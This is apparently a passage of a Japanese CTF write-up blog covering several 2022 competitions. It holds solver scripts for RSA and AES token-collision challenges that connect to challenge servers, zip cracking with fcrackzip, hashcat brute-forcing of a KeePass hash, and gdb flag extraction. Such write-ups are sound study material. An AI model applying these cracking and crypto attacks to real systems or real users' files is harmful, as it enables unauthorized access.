251866275144832804117904650340467630327307547943294624162209655756270474616461710900607819308591438275651230688003685366068819577019929011011295545508703008591857050628219284845515392790910741084753577414622807247270754762645744764876490428295621665384055415418169341078308493172308733595420124097494677194540909701109028540473029950111640772713847356903605994653403284524882942147938696272647334727153364783235667527051798321928751045255353667018547182541937144110088746969503093966522873124410190902718072885783072296015671501983300880465302176711365804392810324971758586422217953992618331675795569781401468259934658957480197964961765768947303650692905269349733121910054679242628384198257734418028748045690138687732945938842986119237008185398476030495662774786539266858488404701340179841538824890075144003341024405656120021006077527899583999969175371696313982716472581754564152173971431839109213808103672177137270194321293, 64483553273707701082069119474864761484140198779195205191703146328739249301059109834572879488427582977522752237968398074099234477007409347567853933386826721350256480514485971352082469112757173139860892967355208302212485705530355135722912097053805880953171949024722427667555620087032862452781768079296554995158815516828876567603012394267057043832426850055913400184738634011058897940770332793740052856097541437613719435073303700983399040651216693590347070762778435854836393343091049891939791695541625011428952697702074527974632446661775684242393743906007656648372656188229156821538851404002436023678629327262167916731577511021273973949460144971677960025602180358558582819051788340354961452773935908279347186712893939560790345719422007545257161759661122195919915290844338488580083220257144546652115017067417618577246400854456902784137631613746604771821308217617307667192441237878580298928009539089335672831178451077104170896368, 563319099256293902032388749750654192984464733635672492304301190365077376009372065959315472009535709705316690524690985053255280177975172547678109541453117178384086871012637820496164079588145248956284229006337403549473552689324499153965206786653940143576427832191594039413565022201664029290442473764023702613866104286160734416775865036413816060437076891210506338740457628013484721477061815104356120378702637640673855794011483177921108210990626777852511385576013825)
(n, g, h, x) = key
lookup = [pow(g, -(2**i), n) for i in range(N)]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('20.229.71.147', 1339))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for _ in range(10):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ct = int(data.split(' ')[-1])
    m = decrypt(ct, x, n)

    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'> ')
    print(data + str(m))
    s.sendall(str(m).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

C.n = 1406745126430834211368439581427586552128513839368079375330777422350279010233921137101818450726988691168057262732590043941337227908029133975607524811099227565909552352445605144707215821110896806246996893529617429480181978275309159546378644943189838293023417359936637918158730858640390260572101852546621557080006885599631146311721451331859138297506121887787830325952441708634953348555768257126236741528355472633852552203653607703853172417814273926846522222899266871676816812119260729815492523759602496987964348605786989031714342204638679831604162373164470163182293721312107165701819445214483716237099450544614974539548198879711577259046399009099059074121716448365481422270130752107511758789011194744135899404901773436027732204863189984525085762750748955124164661344679706185466081110635241274044828067943979807155807734417834245987985856846297320515363064556415983787996822585199472909391214500400444166487063524093463852220417
C.g = 251866275144832804117904650340467630327307547943294624162209655756270474616461710900607819308591438275651230688003685366068819577019929011011295545508703008591857050628219284845515392790910741084753577414622807247270754762645744764876490428295621665384055415418169341078308493172308733595420124097494677194540909701109028540473029950111640772713847356903605994653403284524882942147938696272647334727153364783235667527051798321928751045255353667018547182541937144110088746969503093966522873124410190902718072885783072296015671501983300880465302176711365804392810324971758586422217953992618331675795569781401468259934658957480197964961765768947303650692905269349733121910054679242628384198257734418028748045690138687732945938842986119237008185398476030495662774786539266858488404701340179841538824890075144003341024405656120021006077527899583999969175371696313982716472581754564152173971431839109213808103672177137270194321293
ct = 892497945412208607315937517659542570841531715664467865742761125833977632783459557180914688220613301954988139450451739628608818229187484466681090097043894555931542273513597259682232362507045458074525051791598871039573428443875554094900800342914656650896480391677237245824145017792975072594666037536424982445508437276900843796849520672592907735194436488158712623223139161656032941686698394507241621552229986978588294576299446574929547473126517533631491883267867997896890305221505026700838618768386098585509638436980615756664811298979058321814967411113155964992416439553434241185826639159070957830181564121878754233315739852457447641040612703454225425291732445621216215127897084454308205991647706453486255259737185616326785223493272529522105649997518167188701700079921025553797155349779186082884123923059068384392596873642740127923826173838645025003293365750167908591696866942281601769482114860297292351626157976324577911982723

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 58
Correct, onto the next one.
ct = 58296834181878781106678272887893299142646845419880846015975911886550872318837112642495457100137884924723293930168166885431957288755392082245527256849704094244937182982369908381743702125615278873959756814502057619311377250539928283001662545696079418710302308433022951066935880542205747426133516234258211427211359883331882258353304441646284918080647385748114914994103292437658407701946842754661883980353736387365929750600488853227033243758158789504351087444184717507290261678350031682411716421100588177231654240457577253307612309069198500506700047988196075792753606520070971129133673667390398989888346377472868667532492037224017677904798945929569258460113929701492185623470227578909026241442789878119539842624642478310163497796312291713234133827636941219118637931805147949424842991255446575315212057199354261594203872841238870934175582079653060550363565791178475159610116844851893855455219737174767600231623456399134908384234

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 395
Correct, onto the next one.
ct = 130291870676262389143202394987141072637921504168477510982649959210079000941809713510079769230895582751324545381223520083991570472755271811856522200472571283871524633695745031841646242893213960783100392942067040500695253273539966682588916607511813300430500049088992357782698767439151546976374244010854587315994906732593359715584268498319885435200771113040328139709341756139239202331276743723179058814674070196927552530307562429224659603846931018008858058227649064860419436207575436822824797734450407018997413509799531781793313170382913666145506052802994286639202057467958140317089212156468246331648196751259736331031544550948097867788775492744346302826544801016418006777168987064142162896253953148344014674156965922115076997438020460209189666328525909096525131806433835215740904958558312189019257710036511157278781738012701032979882641031269854130055083884837716583236072445131059329232444876086837904373021607085828951369307

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 284
Correct, onto the next one.
ct = 32683554714774524382167563410908457799859895697200090605813545123410352372154784864591118931372895074482607993552674561719329177538312173600706880038739889906488991541403925952565433110713432426214904740274257495845657630453552809300186724759025929379212840175275996727196804236785613466093943184089138446028061531513992520649145278440756352385536973652416433162740093095344497046523449833530226716860832665506213171348263627601873392393840212459170651995917208843153789724205398863231546051810334335570734444821677790194981645149087091672976981666390643898292688055227362105139850277726763374180747534396394689151275090322602600865778412875032419345054534398126900095434932557532739481269309410784782368705456238182841236932800684080969424274588098823509595922037331637009483759776659261812494764577035218686102847503088376584667303278357472846194449508098324658117429820271673565866332838405004495175532178632293431307566

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 195
Correct, onto the next one.
ct = 963129330020860682116033934976577406299452583047761447056186133243546156335631631747065614833903123986150716711631045814121693432407938517060718626050729234496751549656427509109264605263146493287732886056254108498342909555991002272817140670650452796310125204041577405994894020690464936402053823412421715446401479824184038252489914986981359573555579485270315628049664875921889476800021664941061591867895882770852619926561305287149662851966701880669877416631893658366033938162470374695117008084964645956385585238363342352910287999696951397361430021053516503971019846216225357160300536497498202315670639152356041400339692722646239008193913148790022544746058149034250684674265115184064900262372638440135925568761950988350979020639649114918244616238283257354672296050790822247383629997280126643803712049665925080830016159572671935544123444713130876639557016434409982305867104145405285096243772127587270298975974850751970280745386

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 19
Correct, onto the next one.
ct = 290944265381311193856606958572445108945292566585254983747492944627762832512767015892853965487122625951305895514461452933215983141455845695276747018447704176231357288360964407015647357736219449869043920525825900509050411463270573971075550249621539458914663945454418623045968183107432874050581856258989855345642336417676259897222215385385983773928598947176871564945435493052492220169297277942186198981987486278068502590165469517925092397954834397640322345081854197264841244967585373096381433005240746896907425138452926787678420177754747040990552857040846685507400406834109275129490730218972408162290363115178682222829411143944792173740616281353940116275160669016381908193714489932588707657585028097708069936521310854532376911188560611691634420821943808767216061125061344554892441767580755689314855044007531888131967973670844076255374421446837462025809797797167868029957152770165538215433203660708538826326852415983750698421206

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 469
Correct, onto the next one.
ct = 519120726358120522593732657743868275452287949006017744797334753555286810987654453202289918545927713320685641812601469251528390853316796169452296753788436197839664078675009003124521455136485056719122219019896338665442702928539587601492970497709966652013050814685408740511274607694205468691722896246089196887665437209845405516482918605780714534010560215737232928403698413713533284371182553873630659760489591919270816722775243850878205641763525348363185309450797947282519841166757493994665121911201416373844700490819236105187849746120723379618311177765398472710337049070938429083786086905914404890294860199331487557408966160343375125424245794531046330159018425596021484183130069038004070103187087131564024985842490383574547826491197180119384408829297145688013496169921224038874380624483634211789497882174812737392537284209187081298135805810387458551389092242266048934817776760620425709923467214196921866202858613048804269489709

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 170
Correct, onto the next one.
ct = 258608240605907790056040152217126564046011008047440324128824718831331429917283399793278019052647514124770190849540057910816160903978809369949746827065389286200521635759188028842325575558598658374214680568187031368146249073619777994085627896878769220763614212472265111674078223238064926133306191572486328772412038351075225987226366728290684713689987854933410450011316228637158897172438001194795156703056306914217775220352198360944455579069157487339403252668026007418297860476128814371952947308899636451796220372572703240685845110644138793540188047364855626100366972420196550481217892857657084378962118490944490858287153428259317291084589946151629305593144846130760249537780082692897139002304893992721316208968994054670197978444712709191069894904368673300256869411362123192246038803006175809495193168420462803968859985870470499837279171051590602808164474902819258033252874996305537966660214765157908011372105256351135121455758

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 144
Correct, onto the next one.
ct = 551316316220067811587308361314873337803862027439865911012547727632670357818873890568019380452419703760457149255241399747935732892679741816423831801743579946238313796380950048891957579940969452444711721594956225247995848400693386536574045631557244618528761872097665402069953593381165183452643153822428602906108195466256162176467686182850077709627095172067773190473342333346736637661860427220007492564291260377705486664090418007182804530543095965369128783362761461525346000359195705570031243794110039257976534655415725069640840039296851038760385592004015776379946351340508715882617102195647395962790702106578766106221975030855900368947293695167613984499684401479248730417393502536541650911307556776617569540647807211928668065124697766401653896119299706412087101995740053390104984761188899101878560327360294454457059834673719718348255591650421287166709564052203296127302892112952929032777507877002468526628991260970253965945468

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 295
Correct, onto the next one.
ct = 763942693330246267478927112356204285610683007522140184575558016689697740068826237038023462721064325105405287354310550728551509633260408479264371989327385316671012282954688511704154248434774691253214692851679548590413757829090181204634450357456911009600969023735013134852871412206636825737807833032887955025609616214927121669694034275579967928714877445143341852944699914803868035162016176615519079912976318791447055927039037805017410253423586396419195734077737022950998120436852668833288295842819192486476181398491795461842270134636408143767629112601060488252256029238922361286293125254613172969707193565631942269172275441533410511981845139107909775761531291986310716375178899749850629348785260779915796450299663919714365275961648872256252261233165450701080046381940744595221816863933203728793467788394129592573855803714458882781179752617915389595352242214749510515711194122720264989602588260198432124355318899961239709698243

Options:
1 - Guess number.
2 - Send ciphertext.
> 1
What number did i encrypt?
> 145
Correct, here is your flag: dctf{1_r3fus3_t0_us3_sm4113r_numb3r5}
dctf{1_r3fus3_t0_us3_sm4113r_numb3r5}

*CTF 2022 Writeup

この大会は2022/4/16 10:00(JST)~2022/4/17 10:00(JST)に開催されました。
今回もチームで参戦。結果は56点で372チーム中327位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

Checkin (Misc)

Discordに入り、#announcementチャネルのメッセージを見ると、フラグが書いてあった。

*CTF{Welcome_to_starCTF_and_have_Fun}

Securinets CTF Quals 2022 Writeup

この大会は2022/4/10 3:00(JST)~2022/4/11 3:00(JST)に開催されました。
今回もチームで参戦。結果は1855点で255チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome Quals 2K22 (Welcome)

Discordに入り、#announcementチャネルのメッセージを見ると、フラグが書いてあった。

Securinets{WelCome_T0_QuAls_2k22}

Escrime (Cryptography)

暗号化処理の概要は以下の通り。

・prime: 512bit素数
・p1, q1: genPrime(prime)
・p2, q2: genPrime(prime)
・n1 = p1*q1
・n2 = p2*q2
・e = 65537
・m1: FLAGの前半の文字列の数値化
・m2: FLAGの後半の文字列の数値化
・c1 = pow(m1, e, n1)
・c2 = pow(m2, e, n2)
・n1, n2, e, c1, c2出力

※genPrime(prime):2*prime*[256bit素数] + 1の素数のペア生成

式を変形してみる。

n1 = p1 * q1 = (2 * prime * a1 + 1) * (2 * prime * b1 + 1)
             = 2 * prime * (2 * prime * a1 * b1 + a1 + b1) + 1
n2 = p2 * q2 = (2 * prime * a2 + 1) * (2 * prime * b2 + 1)
             = 2 * prime * (2 * prime * a2 * b2 + a2 + b2) + 1

n1 - 1, n2 - 1のGCDはprimeの倍数。このことからprimeを算出することができる。さらに以下のことが言える。

((n1 - 1) // (2 * prime)) % (2 * prime) = a1 + b1
((n2 - 1) // (2 * prime)) % (2 * prime) = a2 + b2

phi1 = (p1 - 1) * (q1 - 1)
     = n1 - (p1 + q1) + 1 = n1 - (2 * prime * (a1 + b1) + 2) + 1
phi2 = (p2 - 1) * (q2 - 1)
     = n2 - (p2 + q2) + 1 = n2 - (2 * prime * (a2 + b2) + 2) + 1

あとはこのまま復号すればよい。

#!/usr/bin/env python3
from Crypto.Util.number import *

n1 = 5285941989924581490741575774796326221790301948671605967204654261159288826022690654909746856601734294076351436205238123432817696904524845143908229601315593896823359605609172777227518764838488130850768836467030938547486936412484230693105639039311878853055295612388722273133638524917106191321503530749409311343663516633298043891444321772817485480644504762143353706512690041092791539952154332856635651319630479019844011333570438615137628705917690349203588170944935681
n2 = 5512656145670579765357132887430527554149315293720001536465226567777071834432904027590899542293511871806792894769506962601330354553170015126601443256295513753986998761021594415121386822360537570074896704547101502955980189351257681515387379761554807684880212096397524725819607628411147885452294832392886405475830663300445429053365129797792206619514994944481130684176571005780217091773969415001961227566026934419626425934895777818074251010427154279687683891897394401
e = 65537
c1 = 3792561290017712418676552700903779226679678307521013229152018077539055935181708693237786486418411190513573593312739874489485768872374239333562352570689090751306553033406629945001093355613620844532659507519582518955178617942044813600181673015763469247380587771641089223066734168709065596269187564842646397647564064090886856491267151338586218098150720579275673440512159074650632829004798635425409766385176472514086448897744502264325566940224093583630788193949908215
c2 = 3222093169881176821995152873609430742364413196826316856495679228145853706169389758246323802005549827444022148276365869623395771621464376723299960525487777645386674088866891887984766934440527885549168365996216682223515034398685244541695223412679979637178695229351272286453267599205874775267533781360269542834699741976380260822746797186755978820611721151719635986648586937891954519919600047846994285652165076540057377973800029963140392459328016771048953153246246886

prime = GCD(n1 - 1, n2 - 1)
for i in range(256, 1, -1):
    if prime % i == 0:
        prime //= i

assert isPrime(prime)

a1_plus_b1 = ((n1 - 1) // (2 * prime)) % (2 * prime)
a2_plus_b2 = ((n2 - 1) // (2 * prime)) % (2 * prime)

phi1 = n1 - (2 * prime * (a1_plus_b1) + 2) + 1
phi2 = n2 - (2 * prime * (a2_plus_b2) + 2) + 1
d1 = inverse(e, phi1)
d2 = inverse(e, phi2)
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
FLAG = (long_to_bytes(m1) + long_to_bytes(m2)).decode()
print(FLAG)
Securinets{G3n3r4t1ng_pr1m3s_1n_4_sp3c1f1c_f0rm_4lm0st_4lw4ys_3nds_b4dly}

AES² (Cryptography)

暗号化処理の概要は以下の通り。

・key, iv1, iv2: ランダム16バイト
・alice_username: ランダム32バイト
・alice_token = get_token(alice_username, iv1, iv2)
 ・blocks: alice_username16バイトごとのブロック配列
 ・enc = ''
 ・tmp1 = iv1
 ・tmp2 = iv2
 ・blocksの各ブロックについて以下の処理を実行
  ・tmp: blockとtmp1のXORのAES-ECB暗号化
  ・_tmp: tmpとtmp2のXORのAES-ECB暗号化
  ・enc += _tmp
  ・tmp1 = _tmp
  ・tmp2 = tmp
 ・encを返す。
・alice_usernameとalice_tokenを16進数表記で出力
・以下繰り返し
 ・username: 16進数表記で入力→hexデコード
 ・token = get_token(username, iv1, iv2)
 ・usernameとtokenを16進数表記で出力
 ・proof(token) == proof(alice_token)の場合、
  tokenとalice_tokenが異なれば、フラグが表示される。

Aliceの暗号は以下のようなイメージとなる。

平文1ブロック目 ^ iv1             --(AES暗号)--> M1 ^ iv2 --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> M2 ^ M1  --(AES暗号)--> 暗号2ブロック目

暗号の各ブロックのXORがAliceの暗号の各ブロックのXORと同じになればよい。
平文3ブロック目 ^ 暗号2ブロック目 == 平文2ブロック目 ^ 暗号1ブロック目になる平文3ブロック目を指定する。
さらに平文4ブロック目 ^ 暗号3ブロック目 == 平文2ブロック目 ^ 暗号1ブロック目になる平文4ブロック目を指定する。
こうすれば、以下のようなイメージで、tokenは同じになるはず。

平文1ブロック目 ^ iv1             --(AES暗号)--> M1 ^ iv2 --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> M2 ^ M1  --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> M2 ^ M2  --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> M2 ^ M2  --(AES暗号)--> 暗号4ブロック目(暗号3ブロック目と同じ)

以上を元にスクリプトにする。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def xor(a, b):
    return bytes(i ^ j for i, j in zip(a, b))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('20.233.7.174', 4870))

for _ in range(8):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
alice_pt = bytes.fromhex(data.split(' : ')[1].split(' -> ')[0])
alice_ct = bytes.fromhex(data.split(' : ')[1].split(' -> ')[1])

#### 1st try ####
pt3 = xor(xor(alice_pt[16:], alice_ct[:16]), alice_ct[16:])
username1 = (alice_pt + pt3).hex()

data = recvuntil(s, b': ')
print(data + username1)
s.sendall(username1.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
token1 = bytes.fromhex(data.split(' : ')[1].split(' -> ')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)

#### 2nd try ####
pt4 = xor(xor(alice_pt[16:], alice_ct[:16]), token1[32:])
username2 = (alice_pt + pt3 + pt4).hex()

data = recvuntil(s, b': ')
print(data + username2)
s.sendall(username2.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

  ┌─────────────────────┐
  | ┌──(quals@ctf)-[~]  |
  | └─$ ./AES²          |
  |                     |
  |       By Aptx       |
  └─────────────────────┘

Alice's creds : c2d4719d0fe7716ea48624ca88ba1ff703e3fe408b0d9e0345f474df1d894f66 -> 192a45970801d87e7acd12034994d2367801ce8b3319918db5f93603021fc8b0

Username : c2d4719d0fe7716ea48624ca88ba1ff703e3fe408b0d9e0345f474df1d894f6662c8755cb015d7f08ac050df560255e0
Your creds : c2d4719d0fe7716ea48624ca88ba1ff703e3fe408b0d9e0345f474df1d894f6662c8755cb015d7f08ac050df560255e0 -> 192a45970801d87e7acd12034994d2367801ce8b3319918db5f93603021fc8b02fe3b9d8f9d4abb7de9f6083a0245aaa
Try again!

Username : c2d4719d0fe7716ea48624ca88ba1ff703e3fe408b0d9e0345f474df1d894f6662c8755cb015d7f08ac050df560255e0352a020f7ad8edcae1a6065ff439c7fa
Your creds : c2d4719d0fe7716ea48624ca88ba1ff703e3fe408b0d9e0345f474df1d894f6662c8755cb015d7f08ac050df560255e0352a020f7ad8edcae1a6065ff439c7fa -> 192a45970801d87e7acd12034994d2367801ce8b3319918db5f93603021fc8b02fe3b9d8f9d4abb7de9f6083a0245aaa2fe3b9d8f9d4abb7de9f6083a0245aaa
Hey Alice! Here is your flag b'Securinets{r0ll_y0ur_0wn_structur3_4nd_g3t_c0ll1d3d}'
Securinets{r0ll_y0ur_0wn_structur3_4nd_g3t_c0ll1d3d}

JerseyCTF II Writeup

この大会は2022/4/10 1:00(JST)~2022/4/11 1:00(JST)に開催されました。
今回もチームで参戦。結果は 4045点で501チーム中80位でした。
自分で解けた問題をWriteupとして書いておきます。

njccic (sponker 20)

Notificationsでフラグが共有された。

jctf{pr0t3ct_NJ_cyb3r_sp@C3}

frsecure (sponker 20)

Notificationsでフラグが共有された。

jctf{inf0rmation_SECURITY_#1}

google (sponker 20)

Notificationsでフラグが共有された。

jctf{z3r0_trust_infr@structure}

palo alto networks (sponker 20)

Notificationsでフラグが共有された。

jctf{gl0b@l_cyb3rSECurity_l3@der}

crowdstrike (sponker 20)

Notificationsでフラグが共有された。

jctf{br3aches_stop_HERE!}

we-will (misc 150)

添付のzipファイルはパスワードがかかっているので、クラックする。

$ fcrackzip -u -D -p dict/rockyou.txt flag.zip


PASSWORD FOUND!!!!: pw == *@@!^^$25Jjersey

このパスワードでzipを解凍すると、展開されたflag.txtにフラグが書いてあった。

jctf{y0u_r0ck3d_17}

filtered-feeders (misc 150)

Stegsolveで開き、Red plane 1などを見ると、フラグが現れた。
f:id:satou-y:20220415073201p:plain

jctf{1_l0v3_h3rr1n65}

bank-clients (misc 250)

hashcatでクラックする。

$ keepass2john clients.kdbx | grep -o "$keepass$.*" > hash.txt
>hashcat -m 13400 -a 3 hash.txt ?d?d?d?d
hashcat (v6.2.4) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) UHD Graphics 630, 3200/6484 MB (1621 MB allocatable), 24MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 974 MB

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

$keepass$*2*9090908*0*f7d1170d7371a17281aa3f2a26c7388ca5725c21fcbc29d2ace56292eff8eb79*da67f7ac407dca58cbdf4470f411f0f816b93e09e691cc4fbe0d9ce4acaa28c0*706a344c94d1eb4d7e356d67c6b3189b*ef40e4466434309c67248c2ad1e6bb0d4319447268f862c53a196e4ca12e29a0*7ff7758edbc9b8cde051228494e36af1edd750edc398e84422268956dc942876:7182

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass 1 (AES/Twofish) and KeePass 2 (AES))
Hash.Target......: $keepass$*2*9090908*0*f7d1170d7371a17281aa3f2a26c73...942876
Time.Started.....: Sun Apr 10 22:18:32 2022 (1 hour, 31 mins)
Time.Estimated...: Sun Apr 10 23:50:08 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        1 H/s (0.32ms) @ Accel:32 Loops:16 Thr:16 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 7296/10000 (72.96%)
Rejected.........: 0/7296 (0.00%)
Restore.Point....: 384/1000 (38.40%)
Restore.Sub.#1...: Salt:0 Amplifier:8-9 Iteration:9090896-9090908
Candidate.Engine.: Device Generator
Candidates.#1....: 7072 -> 7360

Started: Sun Apr 10 22:18:29 2022
Stopped: Sun Apr 10 23:50:09 2022

passwordは7182。KeePassでこのパスワード7182を使って開く。
f:id:satou-y:20220415073356p:plain
TitleがflagのUser Nameにフラグが設定されていた。

jctf{R1ch_p3rson_#4}

dns-joke (osint 100)

$ dig www.jerseyctf.com txt

; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> www.jerseyctf.com txt
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31200
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;www.jerseyctf.com.		IN	TXT

;; ANSWER SECTION:
www.jerseyctf.com.	5	IN	TXT	"jctf{DNS_J0k3s_t@k3_24_hrs}"

;; Query time: 109 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Sun Apr 10 14:23:53 JST 2022
;; MSG SIZE  rcvd: 86
jctf{DNS_J0k3s_t@k3_24_hrs}

misdirection (bin 250)

$ gdb -q ./misdirection
Reading symbols from ./misdirection...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x55555555464a (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RDX: 0x7fffffffdee8 --> 0x7fffffffe242 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffded8 --> 0x7fffffffe224 ("/mnt/hgfs/Shared/misdirection")
RDI: 0x1 
RBP: 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RIP: 0x55555555464e (<main+4>:	sub    rsp,0x10)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554540 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554645 <frame_dummy+5>:	jmp    0x5555555545b0 <register_tm_clones>
   0x55555555464a <main>:	push   rbp
   0x55555555464b <main+1>:	mov    rbp,rsp
=> 0x55555555464e <main+4>:	sub    rsp,0x10
   0x555555554652 <main+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x555555554659 <main+15>:	jmp    0x555555554693 <main+73>
   0x55555555465b <main+17>:	mov    eax,DWORD PTR [rbp-0x4]
   0x55555555465e <main+20>:	movsxd rdx,eax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0016| 0x7fffffffde00 --> 0x1 
0024| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe224 ("/mnt/hgfs/Shared/misdirection")
0032| 0x7fffffffde10 --> 0x100008000 
0040| 0x7fffffffde18 --> 0x55555555464a (<main>:	push   rbp)
0048| 0x7fffffffde20 --> 0x0 
0056| 0x7fffffffde28 --> 0xc4b217e8e17cbc80 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x000055555555464e in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
   0x000055555555464a <+0>:	push   rbp
   0x000055555555464b <+1>:	mov    rbp,rsp
=> 0x000055555555464e <+4>:	sub    rsp,0x10
   0x0000555555554652 <+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000555555554659 <+15>:	jmp    0x555555554693 <main+73>
   0x000055555555465b <+17>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000055555555465e <+20>:	movsxd rdx,eax
   0x0000555555554661 <+23>:	lea    rax,[rip+0x2009b8]        # 0x555555755020 <buf1>
   0x0000555555554668 <+30>:	movzx  ecx,BYTE PTR [rdx+rax*1]
   0x000055555555466c <+34>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000055555555466f <+37>:	movsxd rdx,eax
   0x0000555555554672 <+40>:	lea    rax,[rip+0x2009e7]        # 0x555555755060 <buf2>
   0x0000555555554679 <+47>:	movzx  eax,BYTE PTR [rdx+rax*1]
   0x000055555555467d <+51>:	xor    ecx,eax
   0x000055555555467f <+53>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000555555554682 <+56>:	movsxd rdx,eax
   0x0000555555554685 <+59>:	lea    rax,[rip+0x200994]        # 0x555555755020 <buf1>
   0x000055555555468c <+66>:	mov    BYTE PTR [rdx+rax*1],cl
   0x000055555555468f <+69>:	add    DWORD PTR [rbp-0x4],0x1
   0x0000555555554693 <+73>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000555555554696 <+76>:	cmp    eax,0x24
   0x0000555555554699 <+79>:	jbe    0x55555555465b <main+17>
   0x000055555555469b <+81>:	mov    edx,0x25
   0x00005555555546a0 <+86>:	lea    rsi,[rip+0x200979]        # 0x555555755020 <buf1>
   0x00005555555546a7 <+93>:	mov    edi,0x5
   0x00005555555546ac <+98>:	call   0x555555554520 <write@plt>
   0x00005555555546b1 <+103>:	mov    eax,0x0
   0x00005555555546b6 <+108>:	leave  
   0x00005555555546b7 <+109>:	ret    
End of assembler dump.

write関数コール時のbuf1を確認してみる。

gdb-peda$ b *0x00005555555546ac
Breakpoint 2 at 0x5555555546ac
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x25 ('%')
RBX: 0x0 
RCX: 0xa ('\n')
RDX: 0x25 ('%')
RSI: 0x555555755020 ("jctf{l00k5_1iK3_u_f0Und_m3_018a09d6}\n")
RDI: 0x5 
RBP: 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdde0 --> 0x7fffffffded0 --> 0x1 
RIP: 0x5555555546ac (<main+98>:	call   0x555555554520 <write@plt>)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554540 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
